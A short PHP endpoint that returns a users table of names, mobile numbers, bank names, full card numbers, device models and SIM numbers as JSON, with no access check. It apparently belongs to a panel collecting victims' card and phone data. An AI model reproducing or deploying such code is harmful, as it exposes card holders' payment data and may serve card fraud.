<?php
require 'db.php';

$stmt = $pdo->query("
    SELECT 
        id, firstname, mobile, bankname, cardnumber, status,
        device_model, android_version, sim1_number, sim2_number, device_status
    FROM users
    ORDER BY id DESC
");

$users = $stmt->fetchAll(PDO::FETCH_ASSOC);

echo json_encode(['status' => true, 'users' => $users]);
?>
